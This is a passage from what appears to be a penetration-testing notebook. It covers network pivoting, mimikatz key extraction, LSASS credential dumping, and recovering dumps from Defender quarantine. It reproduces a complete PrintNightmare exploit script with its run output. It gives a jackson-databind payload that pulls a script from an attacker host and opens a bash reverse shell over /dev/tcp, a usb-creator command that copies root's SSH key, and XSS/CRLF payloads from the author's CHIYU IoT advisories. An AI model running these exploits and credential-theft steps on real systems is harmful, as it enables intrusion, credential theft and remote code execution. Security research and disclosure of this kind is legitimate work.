After getting the command above, we can start msfconsole and paste the command to set up the new tunnel and scan hosts available on the internal network.

```bash
msfconsole
setg Proxies socks4:10.0.2.15:14833
use auxiliary/scanner/smb/smb_version
set RHOSTS=192.168.0.0/24
run
```

### **Take advantage of proxychains tool**&#x20;

To use proxychains, first, we need to configure the new socks by accessing the ***/etc/proxychains.conf*** file.

```bash
sudo vim /etc/proxychains.conf 
socks4 10.0.2.15 14833
```

After that, we can use a lot of tools, such as crackmapexec, nmap, impacket-tools, and so on, by using the following combination:

```bash
proxychains nc 192.168.x.x 445 -v
```

## Bonus

**Creating CobaltStrike random C2 profile**

{% embed url="<https://github.com/threatexpress/random_c2_profile?s=09>" %}

**CobaltStrike C2 malleable profiles**

{% embed url="<https://github.com/xx0hcd/Malleable-C2-Profiles>" %}

## References

{% embed url="<https://blog.cobaltstrike.com/2016/06/01/howto-port-forwards-through-a-socks-proxy/>" %}

{% embed url="<https://wh0ale.github.io/2019/12/11/VulnStack%E5%9F%9F%E7%8E%AF%E5%A2%83%E9%9D%B6%E5%9C%BA%E6%B8%97%E9%80%8F/>" %}


# Extras + Plugins

## C2 Malleable Profiles

{% embed url="<https://github.com/threatexpress/random_c2_profile?s=09>" %}

{% embed url="<https://github.com/xx0hcd/Malleable-C2-Profiles>" %}

{% embed url="<https://github.com/Porchetta-Industries/pyMalleableC2>" %}

{% embed url="<https://github.com/Cobalt-Strike/sleep_python_bridge>" %}

![](/files/TM18hiMx19jwK7IJQeLo)

## Aggressor Scripts

{% embed url="<https://github.com/pandasec888/taowu-cobalt-strike/tree/english>" %}

![](/files/-MYXCJOF9fVYgpEQvtNX)

{% embed url="<https://github.com/0xthirteen/MoveKit>" %}

{% embed url="<https://github.com/bitsadmin/fakelogonscreen>" %}

![](/files/-MYXCgbraUicVb_LgAMn)

{% embed url="<https://github.com/sec-consult/aggrokatz>" %}

{% embed url="<https://github.com/harleyQu1nn/AggressorScripts>" %}

{% embed url="<https://github.com/zer0yu/Awesome-CobaltStrike>" %}


# Resources

{% embed url="<https://blog.xpnsec.com/aws-lambda-redirector/>" %}


# Data Exfiltration


# Extracting certs/private keys from Windows using mimikatz and intercepting calls with burpsuite

Extracting certs/private keys from certificates that disable private key exporting and use BurpSuite to intercept the requests.

## Situation

* I have installed a new client certificate on my Windows machine
* I cannot export the private key for this certificate (the export flag is false)
* I am a Linux user that needs to have the cert and private key to import it on BurpSuite to perform tests ...

## Install/export certificate using Windows VM

1. [Get a Windows VM](https://gitbook.seguranca-informatica.pt/tools-1#windows-vms-from-microsoft)
2. Install the certificate through the VM as needed
3. In Internet Explorer, click the settings icon (looks like a gear) and choose "Internet Options"
4. Click the "Content Tab"
5. Click "Certificates"
6. Click the certificate you installed (likely on the Personal tab) and click the "Export..." button
7. Click "Next" through the next few prompts in the Certificate Export Wizard
8. On the "File to Export" screen, click "Browse" and find a location (like your Desktop) to save the file to and give it a name
9. Click "Next" and "Finish"
10. Bring the certificate back over to Linux

## Run mimikatz to get the private key

1. Download [mimikatz](https://github.com/gentilkiwi/mimikatz/releases/) - a tool that will extract the private key from installed certificates
2. Extract the mimikatz files to a directory (you only need the Win32 folder)
3. Run cmd.exe as an Administrator (you may need to navigate to C:\Windows\System32\ and right-click the cmd.exe file)
4. Run the mimikatz.exe from the command prompt
5. Run the following commands:

```
privilege::debug
crypto::capi
crypto::keys /export
```

![](/files/-MXacYmlvAD2lZcaNo_y)

If you need to extract the certificates:

```
crypto::certificates /export
```

![](/files/-MXad4W4gf73GeJkXGU3)

You should have a .pvk (private key) file in the same directory as mimikatz.exe now—probably just the one you installed. If you see multiple private keys, you'll have to determine which one is the one you installed.

You can use some other tools to work with the certificate stores. The certutil tool has some uses, for example you can view all the personal certificates for the current user with:

```
certutil -user -viewstore My
certutil -store -user 

If you simply want to dump all the information in the console, you can use:
certutil -user -store My

To do the same for the computer account, simply drop the ‘-user’ parameter:
certutil -store My or certutil -viewstore My

For the PowerShell lovers, the Cert: drive can provide most of the needed information. Here are some uses:
PS C:\> cd Cert:; dir

To list all the certificates in the ‘Personal’ store for the current user, use:
PS Cert:\> dir Cert:\CurrentUser\My

To get all the details for a particular certificate, you can use the thumbprint:
PS Cert:\> dir Cert:\CurrentUser\My\106796B4130A9AE14BF38C7CE553353204613796 | fl *
```

## Convert PVK to PEM

You can convert the Windows proprietary ".pvk" file to a useful ".pem" file by using the following command:

```
openssl rsa -inform pvk -in YOUR_PRIVATE_KEY.pvk -outform pem -out YOUR_NEW_PRIVATE_KEY.pem
```

## Import the PFX certificate from mimikatz on BurpSuite

In BurpSuite "**User Options / TLS**" option, import the PFX certificate directly obtained from mimikatz, and everything will work fine.

The PFX password is "**mimikatz**" by default :nerd:&#x20;

![](/files/-MXakIUiLtHPsalAo0Vx)

![](/files/-MXal2-mQve7OKbHvvwQ)

![](/files/-MXaosJa4XEZjbhvtCuo)

From here, you can intercept all the traffic between your browser and the server, use enumeration tools from Linux such as gobuster, dirsearch and, so on. You need to use the BurpSuite as a proxy everytime, or your requests will not be valid (bad SSL handshake).

![](/files/-MXb25guGl1FbB_UPy7a)

```
python3 dirsearch.py -e php,html,js -u https://target --proxy 127.0.0.1:8080
```

## References

{% embed url="<https://www.programmersought.com/article/57403615657/>" %}

{% embed url="<https://www.michev.info/Blog/Post/1435/windows-certificate-stores#>" %}

**Mimikatz walkthrough:** <https://gist.github.com/derrickorama/7b08298b657048660293>

## Bonus

{% embed url="<https://github.com/TheWover/CertStealer>" %}


# Doppelganger: Cloning and Dumping LSASS (Win11)

{% embed url="<https://vari-sh.github.io/posts/doppelganger/#bonus-hollowreaper--advanced-process-hollowing>" %}

* Dynamic API resolution with obfuscation
* SYSTEM token manipulation
* Process cloning with NtCreateProcessEx
* Direct memory access via RTCore64.sys to disable PPL
* XOR encryption for stealth dump writing on disk

1. **Doppelganger.exe (execute)**
2. **put the driver into the Public Folder: (**&#x52;TCore64.sys)
3. Execute: **Doppelganger.exe**&#x20;
4. user the xor python script to unxored the created dump: <https://github.com/vari-sh/RedTeamGrimoire/blob/main/Doppelganger/utils/decrypt_xor_dump.py>\
   \
   \
   ──(kali㉿kali)-\[\~/Downloads]\
   └─$ python xored.py doppelganger.dmp\
   \[+] Decryption successful. Output written to: doppelganger.dmp.dec<br>
5. use pypykatz to get the credentials\
   \
   ┌──(kali㉿kali)-\[\~/Downloads]\
   └─$ pypykatz lsa minidump doppelganger.dmp.dec


# Recovery lsass.dmp from Defender Quarantine

Decrypt Windows Defender quarantined files using Microsoft’s RC4 algorithm

During forensic investigations or red team operations, it's common for critical artifacts — such as memory dumps or credential caches — to be flagged and quarantined by **Microsoft Defender**. This is especially true for **LSASS process dumps**, which are often encrypted and stored under randomized names, making recovery a challenge.

This tool allows you to **decrypt files quarantined by Microsoft Defender**, restoring them to their original state for analysis.

#### 🧪 Use Case

Imagine you're performing a **credential dumping assessment** in an Active Directory environment. You successfully dump the LSASS memory to `lsass.dmp`, but **Windows Defender instantly quarantines it**, encrypting and renaming the file.

Even if you recover the quarantined file manually, it's **unreadable without decryption**.

With this decryptor, you can restore the original `lsass.dmp` and proceed with offline analysis, such as:

* Hash extraction
* Password cracking
* Memory analysis (e.g. with tools like pypykatz)

```
pypykatz lsa minidump lsass_decoded.bin
```

#### ✨ Features

* 🔑 Implements **RC4 decryption** with Microsoft’s custom key scheduling.
* 📦 Recovers both the **original file** and its **metadata**.
* ⏱️ Displays **decryption duration** for performance tracking.
* 💡 Lightweight, **no external dependencies**, and **cross-platform friendly**.

🔗 GitHub: <https://lnkd.in/dP4xjHEF>\
\
You can combine this tool with:\
\
🔗 GitHub: <https://lnkd.in/dsv8VDDh>


# CVE & Exploits / CTF


# Privilege Escalation

## **Linux**

[**CVE-2015-3643**](https://nvd.nist.gov/vuln/detail/CVE-2015-3643)**:** usb-creator before 0.2.38.3ubuntu0.1 on Ubuntu 12.04 LTS, before 0.2.56.3ubuntu0.1 on Ubuntu 14.04 LTS, before 0.2.62ubuntu0.3 on Ubuntu 14.10, and before 0.2.67ubuntu0.1 on Ubuntu 15.04 allows local users to gain privileges by leveraging a missing call check\_polkit for the KVMTest method.

```
gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image <target file> <destination>
gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /root/.ssh/id_rsa /tmp/pwn true
```

Reference: <https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/>

[**CVE-2021-3493**](https://github.com/briskets/CVE-2021-3493)**:** Ubuntu OverlayFS Local Privesc.

* Ubuntu 20.10
* Ubuntu 20.04 LTS
* Ubuntu 18.04 LTS
* Ubuntu 16.04 LTS
* Ubuntu 14.04 ESM

## Windows

**CVE-2020-0796 (SMBGhost)**: <https://github.com/rapid7/metasploit-framework/pull/15024>

## Weblogic

**CVE-2020-14882:** Oracle WebLogic Remote Code Execution

**Affected versions:** 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0

![](/files/-M_zk7BHGiIe4O-NZ6-A)

{% embed url="<https://github.com/GGyao/CVE-2020-14882_ALL>" %}

## Active Directory

### PrintNightmare (CVE-2021-1675): Remote code execution in Windows Spooler Service

{% embed url="<https://github.com/ly4k/PrintNightmare>" %}

{% embed url="<https://github.com/calebstewart/CVE-2021-1675>" %}

{% embed url="<https://github.com/afwu/PrintNightmare>" %}

{% embed url="<https://github.com/cube0x0/CVE-2021-1675>" %}

```
#!/usr/bin/python3
from impacket.dcerpc.v5 import rprn
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.dtypes import NULL
from impacket.structure import Structure
import argparse
import sys
import time
import pathlib

#https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/2825d22e-c5a5-47cd-a216-3e903fd6e030
class DRIVER_INFO_2_BLOB(Structure):
    structure = (
        ('cVersion','<L'),
        ('NameOffset', '<L'),
        ('EnvironmentOffset', '<L'),
        ('DriverPathOffset', '<L'),
        ('DataFileOffset', '<L'),
        ('ConfigFileOffset', '<L'),
    )

    def __init__(self, data = None):
        Structure.__init__(self, data = data)

    def fromString(self,data):
        Structure.fromString(self, data)
        self['ConfigFileArray'] = self.rawData[self['ConfigFileOffset']:self['DataFileOffset']].decode('utf-16-le')
        self['DataFileArray'] = self.rawData[self['DataFileOffset']:self['DriverPathOffset']].decode('utf-16-le')
        self['DriverPathArray'] = self.rawData[self['DriverPathOffset']:self['EnvironmentOffset']].decode('utf-16-le')
        self['EnvironmentArray'] = self.rawData[self['EnvironmentOffset']:self['NameOffset']].decode('utf-16-le')
        self['NameArray'] = self.rawData[self['NameOffset']:len(self.rawData)].decode('utf-16-le')


def connect(username, password, domain, lmhash, nthash, address, port):
    binding = r'ncacn_np:{0}[\PIPE\spoolss]'.format(address)
    rpctransport = transport.DCERPCTransportFactory(binding)
    
    rpctransport.set_dport(port)
    rpctransport.setRemoteHost(address)
    
    if hasattr(rpctransport, 'set_credentials'):
        # This method exists only for selected protocol sequences.
        rpctransport.set_credentials(username, password, domain, lmhash, nthash)
    
    print("[*] Connecting to {0}".format(binding))
    try:
        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(rprn.MSRPC_UUID_RPRN)
    except:
        print("[-] Connection Failed")
        sys.exit(1)
    print("[+] Bind OK")
    return dce


def getDrivers(dce, handle=NULL):
    #get drivers
    resp = rprn.hRpcEnumPrinterDrivers(dce, pName=handle, pEnvironment="Windows x64\x00", Level=2)
    data = b''.join(resp['pDrivers'])

    #parse drivers
    blob = DRIVER_INFO_2_BLOB()
    blob.fromString(data)
    #blob.dump()
    
    return blob


def main(username, password, domain, lmhash, nthash, address, port, share):
    #connect
    dce = connect(username, password, domain, lmhash, nthash, address, port)
    #handle = "\\\\{0}\x00".format(address)
    handle = NULL

    #find "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL" path
    try:
        blob = getDrivers(dce, handle)
        pDriverPath = str(pathlib.PureWindowsPath(blob['DriverPathArray']).parent) + '\\UNIDRV.DLL'
    except Exception as e:
        print('[-] Failed to enumerate remote pDriverPath')
        print(str(e))
        sys.exit(1)

    print("[+] pDriverPath Found {0}".format(pDriverPath))

    #build DRIVER_CONTAINER package
    container_info = rprn.DRIVER_CONTAINER()
    container_info['Level'] = 2
    container_info['DriverInfo']['tag'] = 2
    container_info['DriverInfo']['Level2']['cVersion']     = 3
    container_info['DriverInfo']['Level2']['pName']        = "1234\x00"
    container_info['DriverInfo']['Level2']['pEnvironment'] = "Windows x64\x00"
    container_info['DriverInfo']['Level2']['pDriverPath']  = pDriverPath + '\x00'
    container_info['DriverInfo']['Level2']['pDataFile']    = "{0}\x00".format(share)
    container_info['DriverInfo']['Level2']['pConfigFile']  = "C:\\Windows\\System32\\kernelbase.dll\x00"

    flags = rprn.APD_COPY_ALL_FILES | 0x10 | 0x8000
    filename = share.split("\\")[-1]
    print("[*] Executing {0}".format(share))

    resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags)
    print("[*] Stage0: {0}".format(resp['ErrorCode']))
    for i in range(1, 30):
        try:
            container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\{0}\\{1}\x00".format(i, filename)
            resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags)
            print("[*] Stage{0}: {1}".format(i, resp['ErrorCode']))
            if (resp['ErrorCode'] == 0):
                print("[+] Exploit Completed")
                sys.exit()
        except Exception as e:
            #print(e)
            pass


if __name__ == '__main__':
    parser = argparse.ArgumentParser(add_help = True, description = "CVE-2021-1675 implementation.",formatter_class=argparse.RawDescriptionHelpFormatter,epilog="""
Example;
./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\\\192.168.1.215\\smb\\addCube.dll'
    """)
    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
    parser.add_argument('share', action='store', help='Path to DLL. Example \'\\\\10.10.10.10\\share\\evil.dll\'')
    group = parser.add_argument_group('authentication')
    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
    group = parser.add_argument_group('connection')
    group.add_argument('-target-ip', action='store', metavar="ip address",
                       help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
                            'This is useful when target is the NetBIOS name and you cannot resolve it')
    group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
                       help='Destination port to connect to SMB Server')

    if len(sys.argv)==1:
        parser.print_help()
        sys.exit(1)

    options = parser.parse_args()

    import re
    domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
        options.target).groups('')

    #In case the password contains '@'
    if '@' in address:
        password = password + '@' + address.rpartition('@')[0]
        address = address.rpartition('@')[2]

    if options.target_ip is None:
        options.target_ip = address

    if domain is None:
        domain = ''

    if password == '' and username != '' and options.hashes is None:
        from getpass import getpass
        password = getpass("Password:")

    if options.hashes is not None:
        lmhash, nthash = options.hashes.split(':')
    else:
        lmhash = ''
        nthash = ''

    #re-run if stage0/stageX fails
    print("[*] Try 1...")
    main(username, password, domain, lmhash, nthash, options.target_ip, options.port, options.share)
    time.sleep(10)
    print("[*] Try 2...")
    main(username, password, domain, lmhash, nthash, options.target_ip, options.port, options.share)
    time.sleep(10)
    print("[*] Try 3...")
    main(username, password, domain, lmhash, nthash, options.target_ip, options.port, options.share)
```

```
(venv) C:\home\user\PrintNighmare\CVE-2021-1675> python CVE-2021-1675.py 
usage: CVE-2021-1675.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share

CVE-2021-1675 implementation.

positional arguments:
  target                [[domain/]username[:password]@]<targetName or address>
  share                 Path to DLL. Example '\\10.10.10.10\share\evil.dll'

optional arguments:
  -h, --help            show this help message and exit

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH

connection:
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve it
  -port [destination port]
                        Destination port to connect to SMB Server

Example;
./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\192.168.1.215\smb\addCube.dll'
    
(venv) C:\home\user\PrintNighmare\CVE-2021-1675>

----------------EXECUTION----------------------------------------

(venv) C:\home\user\PrintNighmare\CVE-2021-1675> python CVE-2021-1675.py acme.corp/user1@10.0.200.6 '\\10.0.200.8\dlls\addme.dll' 
Password:
[*] Try 1...
[*] Connecting to ncacn_np:10.0.200.6[\PIPE\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_18b0d38ddfaee729\Amd64\UNIDRV.DLL
[*] Executing \\10.0.200.8\dlls\addme.dll

-----------------SMB SERVER---------------------------------------

(venv) C:\home\user\PrintNighmare\DLLs> impacket-smbserver -smb2support  dlls .                                    
Impacket v0.9.24.dev1+20210630.100536.73b9466c - Copyright 2021 SecureAuth Corporation                             
                                                                                                                   
[*] Config file parsed                                                                                             
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0                                             
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0                                             
[*] Config file parsed                                                                                             
[*] Config file parsed                                                                                             
[*] Config file parsed                                                                                             
[*] Incoming connection (10.0.200.6,50157)                                                                         
[*] AUTHENTICATE_MESSAGE (\,WIN-9N94NF2FA11)                                                                       
[*] User WIN-9N94NF2FA11\ authenticated successfully                                                               
[*] :::00::aaaaaaaaaaaaaaaa                                                                                        
[*] Closing down connection (10.0.200.6,50157)                                                                     
[*] Remaining connections []                                                                                       
[*] Incoming connection (10.0.200.6,50158)                                                                         
[*] AUTHENTICATE_MESSAGE (\,WIN-9N94NF2FA11)
[*] User WIN-9N94NF2FA11\ authenticated successfully
[*] :::00::aaaaaaaaaaaaaaaa
[*] Closing down connection (10.0.200.6,50158)
[*] Remaining connections []
[*] Incoming connection (10.0.200.6,50159)
[*] AUTHENTICATE_MESSAGE (\,WIN-9N94NF2FA11)
[*] User WIN-9N94NF2FA11\ authenticated successfully
[*] :::00::aaaaaaaaaaaaaaaa
[*] Closing down connection (10.0.200.6,50159)
[*] Remaining connections []
```

![](/files/-MdWXC367_a9gKewfeVc)


# Serialization

## **Linux**

[**CVE-2020-9547**](https://nvd.nist.gov/vuln/detail/CVE-2020-9547)**:** FasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig (aka ibatis-sqlmap).

![](/files/-MXHGqua1tknuebaSN-5)

{% embed url="<https://github.com/jas502n/CVE-2019-12384>" %}

```
1. Payload:
["ch.qos.logback.core.db.DriverManagerConnectionSource",{"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPTFROM'http://10.10.xx.xx:443/sql.sql'"}]

2. Create file sql.sql with the target command
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
        String[] command = {"bash", "-c", cmd};
        java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\A");
        return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('bash -i &>/dev/tcp/10.10.xxx.xxx/4444 0>&1 &')

3. python -m SimpleHTTPServer 443

4. nc -lvp 4444
```

Reference: <https://www.sangfor.com/en/info-center/blog-center/cyber-security/FasterXML-Jackson-databind-Remote-Code-Execution-CVE-2020-9547>


# CVEs

My submited CVEs


# CHIYU IoT devices

Vulnerabilities found on IoT devices from CHIYU.

## **CVE-2021-31249**

{% hint style="success" %}
**Title:** CRLF injection in CHIYU BF-430, BF-431, and BF-450M TCP/IP Converter devices\
**Vulnerability:** CRLF injection\
**CVE ID:** [CVE-2021-31249](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31249)\
**CVSS**: Medium - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
{% endhint %}

A CRLF injection vulnerability was found on BF-430, BF-431, and BF-450M TCP/IP Converter devices from CHIYU Technology Inc due to a lack of validation on the parameter **redirect=** available on multiple CGI components.

**Affected parameter:** redirect=\
**Component:** all the CGI components\
**Payload:** `%0d%0a%0d%0a<script>alert(document.domain)</script>`

**Payload**

```
setting.htm%0d%0a%0d%0a<script>alert(document.domain)</script>
```

**HTTP request**

```
GET /man.cgi?redirect=setting.htm%0d%0a%0d%0a<script>alert(document.domain)</script>&failure=fail.htm&type=dev_name_apply&http_block=0&TF_ip0=192&TF_ip1=168&TF_ip2=200&TF_ip3=200&TF_port=&TF_port=&B_mac_apply=APPLY HTTP/1.1
Host: 192.168.187.12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.187.12/manage.htm
Authorization: Basic OmFkbWlu
Connection: close
Upgrade-Insecure-Requests: 1
```

**HTTP response**

```
HTTP/1.1 302 Found
Location: setting.htm
<script>alert(document.domain)</script>
Content-Length: 0
Content-Type: text/html
```

![](/files/-MaySSPxgcZFPhuL5hMy)

**ExploitDB:** <https://www.exploit-db.com/exploits/49923>

{% embed url="<https://www.exploit-db.com/exploits/49923>" %}

{% embed url="<https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2021/CVE-2021-31249.yaml>" %}

**Impact:** The impact of CRLF injections vary and also includes all the impacts of Cross-site Scripting to information disclosure.

**Mitigation:** The latest version of the [CHIYU firmware](https://www.chiyu-tech.com/msg/message-Firmware-update-87.html) should be installed to mitigate this vulnerability.

## **CVE-2021-31250**

{% hint style="success" %}
**Title:** Multiple stored XSS in CHIYU BF-430, BF-431, and BF-450M IP converter devices\
**Vulnerability:** Stored XSS\
**CVE ID:** [CVE-2021-31250](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31250)\
**CVSS**: Medium - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
{% endhint %}

Multiple storage XSS vulnerabilities were discovered on BF-430, BF-431 and BF-450M TCP/IP Converter devices from CHIYU Technology Inc due to a lack of sanitization of the input on the components man.cgi, if.cgi, dhcpc.cgi, ppp.cgi.

To exploit this vulnerability, an attacker can inject a specially crafted XSS payload on several CGI components to obtain sensitive information from the end-user such as session cookies, or redirect it to a malicious web page.

### **Proof-of-Concept: 01**

**Affected parameter:** TF\_submask\
**Component**: if.cgi\
**Payload**: `"><script>alert(123)</script>`

**HTTP request:**&#x20;

```
GET /if.cgi?redirect=setting.htm&failure=fail.htm&type=ap_tcps_apply&TF_ip=443&TF_submask=0&TF_submask=%22%3E%3Cscript%3Ealert%28123%29%3C%2Fscript%3E&radio_ping_block=0&max_tcp=3&B_apply=APPLY HTTP/1.1
Host: 192.168.187.12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.187.12/ap_tcps.htm
Authorization: Basic OmFkbWlu
Connection: close
Upgrade-Insecure-Requests: 1
```

![](/files/-MayXJJ6mWDtRPkze1Yq)

&#x20;**HTTP response:**

![](/files/-MayXNpgTbfZpfqyRVne)

### **Proof-of-Concept: 02**

**Affected parameter:** TF\_hostname=\
**Component**: dhcpc.cgi\
**Payload**: `/"><img src="#">`

**HTTP request and response:**

```
GET /dhcpc.cgi?redirect=setting.htm&failure=fail.htm&type=dhcpc_apply&TF_hostname=%2F%22%3E%3Cimg+src%3D%22%23%22&S_type=2&S_baud=3&S_userdefine=0&AP_type=0&TF_port=443&TF_remoteip1=%2F%22%3E%3Cimg+src%3D%22%23%22%3E&B_apply=APPLY HTTP/1.1
Host: 192.168.187.12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.187.12/wan_dc.htm
Authorization: Basic OmFkbWlu
Connection: close
Upgrade-Insecure-Requests: 1
```

![](/files/-MayXjrPRlMm_1zJH8yV)

### **Proof-of-Concept: 03**

**Affected parameter:** TF\_servicename=\
**Component**: ppp.cgi\
**Payload**: `"><script>alert(123)</script>`

**HTTP request:**

```
GET /ppp.cgi?redirect=setting.htm&failure=fail.htm&type=ppp_apply&TF_username=admin&TF_password=admin&TF_servicename=%22%3E%3Cscript%3Ealert%28%27123%27%29%3B%3C%2Fscript%3E&TF_idletime=0&L_ipnego=DISABLE&TF_fixip1=&TF_fixip2=&TF_fixip3=&TF_fixip4=&S_type=2&S_baud=3&S_userdefine=0&AP_type=0&TF_port=443&TF_remoteip1=0.0.0.0&B_apply=APPLY HTTP/1.1
Host: 192.168.187.143
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.187.143/wan_pe.htm
Authorization: Basic OmFkbWlu
Connection: close
Upgrade-Insecure-Requests: 1
```

![](/files/-MayYg8iSYUYpWwk2jEm)

**HTTP response**

![](/files/-MayYlCwBV4Tig4iHgom)

### **Proof-of-Concept: 04**

**Affected parameter:** TF\_port=\
**Component**: man.cgi\
**Payload**: `/"><img src="#">`

**HTTP request:**

```
GET /man.cgi?redirect=setting.htm&failure=fail.htm&type=dev_name_apply&http_block=0&TF_ip0=192&TF_ip1=168&TF_ip2=200&TF_ip3=200&TF_port=%22%3E%3Cimg+src%3D%22%23%22%3E&TF_port=%22%3E%3Cimg+src%3D%22%23%22%3E&B_mac_apply=APPLY HTTP/1.1
Host: 192.168.187.12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.187.12/manage.htm
Authorization: Basic OmFkbWlu
Connection: close
Upgrade-Insecure-Requests: 1
```

![](/files/-May_BFaugDDTrjnEspf)

**HTTP response:**

![](/files/-May_EQDq_LD56fX5JhO)

**ExploitDB:** [**https://www.exploit-db.com/exploits/49922**](https://www.exploit-db.com/exploits/49922)

{% embed url="<https://www.exploit-db.com/exploits/49922>" %}

{% embed url="<https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2021/CVE-2021-31250.yaml>" %}

**Impact:** The attacker places their exploit into the application itself and simply waits for users to encounter it.

**Mitigation:** The latest version of the [CHIYU firmware](https://www.chiyu-tech.com/msg/message-Firmware-update-87.html) should be installed to mitigate this vulnerability.

## **CVE-2021-31251**

{% hint style="success" %}
**Title:** Telnet auth bypass in CHIYU IoT devices allowing to obtain administrative privileges\
**Vulnerability:** Authentication bypass\
**CVE ID:** [CVE-2021-31251](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31251)\
**SSV-ID**: [SSV-99267](https://www.seebug.org/vuldb/ssvid-99267)\
**CVSS**: Critical - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
{% endhint %}

Several IoT devices from the CHIYU Technology firm are vulnerable to a flaw that permits bypassing the telnet authentication process due to an overflow during the negotiation of the telnet protocol. Telnet authentication is bypassed by supplying a specially malformed request, and an attacker may force the remote telnet server to believe that the user has already authenticated. Several models are vulnerable, including BF-430, BF-431, BF-450M, and SEMAC with the most recent firmware versions.

We can see in the next image the normal workflow with the authentication banner (left-side), and the exploited scenario with the configuration menu (right-side). In detail, when the telnet tries to negotiate the telnet states with the client-side, it fails - at the 4 TCP request - and the IoT device jumps to the next state and believes that the user has already authenticated.

![](/files/-MaydXEVrSBvbmvtf-0C)

In order to verify if this condition is also present on other devices, a PoC was created and the results can be observed below. On the left side, we can see a lot of devices vulnerable obtained by using the checker, and on the right-side the vulnerability confirmation using the exploit.

![](/files/-Maydl1K_kl-_5yqFo8-)

&#x20;**Checker in action with multi-thread and CIDR - Pocsuite3:**

![](/files/-Maye1QJYt8MaH6vHUyP)

**Exploit in action - Pocsuite3:**

![](/files/-Maye8ETEB8_mlSY8OvS)

**Seebug:** [**https://www.seebug.org/vuldb/ssvid-99267**](https://www.seebug.org/vuldb/ssvid-99267)\
**ExploitDB:** [**https://www.exploit-db.com/exploits/49936**](https://www.exploit-db.com/exploits/49936)

{% embed url="<https://www.seebug.org/vuldb/ssvid-99267>" %}

{% embed url="<https://www.exploit-db.com/exploits/49936>" %}

**Impact**: Accessing remotely any device bypassing telnet authentication protocol.

**Mitigation:** The latest version of the [CHIYU firmware](https://www.chiyu-tech.com/msg/message-Firmware-update-87.html) should be installed to mitigate this vulnerability. In this new version, the telnet service was disabled in order to solve this issue.

From vendor website:

{% hint style="info" %}
Regarding CVE-2021-31251, it explains about the CHIYU serial converts & SEMAC door control panel has a security issue.&#x20;

Because the telnet is able to connect with the device.&#x20;

For this reason, CHIYU would like to include below the measures to fix the problem.&#x20;

